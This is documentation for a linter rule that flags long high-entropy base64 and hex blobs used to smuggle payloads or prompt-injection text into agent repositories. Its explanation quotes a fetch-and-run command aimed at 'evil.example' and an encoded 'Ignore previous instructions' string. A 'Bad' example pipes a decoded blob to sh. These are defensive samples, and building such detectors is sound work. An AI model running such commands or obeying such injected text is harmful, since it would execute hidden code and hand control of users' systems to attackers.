# security-encoded-payload Detect long high-entropy base64/hex blobs that can smuggle encoded payloads | | | |---|---| | **Severity** | warning (auto) | | **Autofix** | - | | **Since** | v0.17.0 | | **Category** | [Security](security.md) | ## Why An attacker who wants to smuggle a payload into an agent repository cannot write `curl https://evil.example/x | sh` in plain text — keyword scanners and human reviewers catch that. The established workaround is to encode the payload: ship a long base64 or hex blob in an instruction file alongside a harmless-looking "decode and run this" step. The 2025 Shai-Hulud npm worm used exactly this technique, hiding its bootstrap script as an encoded string that a lifecycle hook decoded and executed. Prompt-injection attacks use the same trick against agents directly: encoded instructions slip past review because nobody reads 200 characters of base64. The `hooks-dangerous` rule catches the decode step (`base64 -d`, `eval`) in hook commands. This rule catches the payload itself — a long, high-entropy base64, base64url, or hex run anywhere in agent-visible content, including code fences and frontmatter values, where such blobs have no legitimate reason to exist. Base64url (the `-`/`_` alphabet JWTs and web tokens use) is scanned as its own alphabet, so url-safe encoding is not an evasion. Each alphabet is scanned separately rather than as one union — no decoder accepts a run mixing `/` with `-`/`_`, and the union would flag long URL paths (`…/test-platform-results/pr-logs/pull/30393/…`) that legitimately mix both. Entropy gating keeps the rule quiet on non-payloads: random encoded data measures ~5.7-6.0 bits/char (base64) or ~3.8-4.0 (hex), while repeated filler like `AAAA…` measures near zero and ordinary prose or URLs stay far below the thresholds. Runs containing no digit at all are also skipped — real encoded data of qualifying length essentially always contains digits, while long digit-free runs are concatenated natural text (a camelCase identifier, a deep `/src/main/java/...` path). Two known-legitimate blob shapes are exempt: data-URI images (`data:image/png;base64,…` badges and logos) and integrity pins (`integrity="sha384-…"` SRI attributes, `image@sha256:…` digests). The exemption is anchored to the whole encoded token, not the sub-run a pattern happens to match, so an interior `/`-bounded fragment of a real image blob is still recognized as part of the exempt data URI. Entropy alone cannot catch hex-encoded *text*: hex of printable ASCII constrains high nibbles to `2`-`7` and measures only ~3.2-3.6 bits/char, at or below the hex gate calibrated for random hex — so a hex-encoded `curl … | sh` bootstrap or an injected `Ignore previous instructions…` string would slip past on entropy. A hex run below the gate is therefore decoded: if it resolves to ≥90% printable-ASCII bytes it is flagged as an encoded text payload regardless of entropy. Random hex (commit SHAs, sha256/sha512 digests, packed binary) decodes to mostly non-printable bytes and is never rescued this way. Scanning is line-by-line: encoded runs are evaluated on each individual line and are not concatenated across line breaks. ## Examples **Bad:** ```markdown ## Setup Before running tests, initialize the environment: echo "cGF5bG9hZC1oZXJlLi4u<170 more chars of base64>" | base64 -d | sh ``` **Good:** ```markdown ## Setup Before running tests, initialize the environment: ./scripts/setup-test-env.sh ``` A reviewed script in the repository does the same job with nothing hidden. **Not flagged** (legitimate blobs): ```markdown ![logo](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA…) ``` ## Configuration example ```yaml rules: security-encoded-payload: min-length: 120 # minimum run length considered (floor: 16) entropy-threshold: 4.5 # bits/char gate for base64 runs hex-entropy-threshold: 3.4 # bits/char gate for hex runs hex-ascii-ratio: 0.9 # min printable-ASCII fraction a sub-gate hex # run must decode to before it is flagged; # set above 1.0 to disable the decode check ``` Raise `min-length` if your content legitimately embeds long encoded values (for example, protocol documentation with real sample tokens); lower it to tighten the audit on repositories that should contain no encoded data at all. ## How to fix Decode the blob (in a sandbox — never by executing it) and identify what it contains: - **Malicious or unexplained**: remove it and audit the repository history for how it got there. - **A script or config the instructions need**: commit the decoded file to the repository as reviewable plain text and reference it by path. - **A legitimate encoded value** (test vector, sample ciphertext): move it out of agent context into a data file, or raise `min-length` above its length after review. ## Configuration ```yaml rules: security-encoded-payload: enabled: auto # true | false | auto severity: warning ``` | Parameter | Description | Default | |-----------|-------------|---------| | `min-length` | Minimum length of a base64/hex character run before it is considered a payload candidate (floor: 16) | `120` | | `entropy-threshold` | Minimum Shannon entropy (bits/char) a base64 run must reach to be reported; random base64 measures ~5.7-6.0 | `4.5` | | `hex-entropy-threshold` | Minimum Shannon entropy (bits/char) a hex run must reach to be reported; the 16-symbol alphabet caps at 4.0 | `3.4` | | `hex-ascii-ratio` | Minimum fraction of printable-ASCII bytes a hex run below the entropy gate must decode to before it is reported as an encoded text payload; set above 1.0 to disable the decode check | `0.9` | *Run `skillsaw explain security-encoded-payload` to see this documentation and the rule's effective configuration in your terminal.*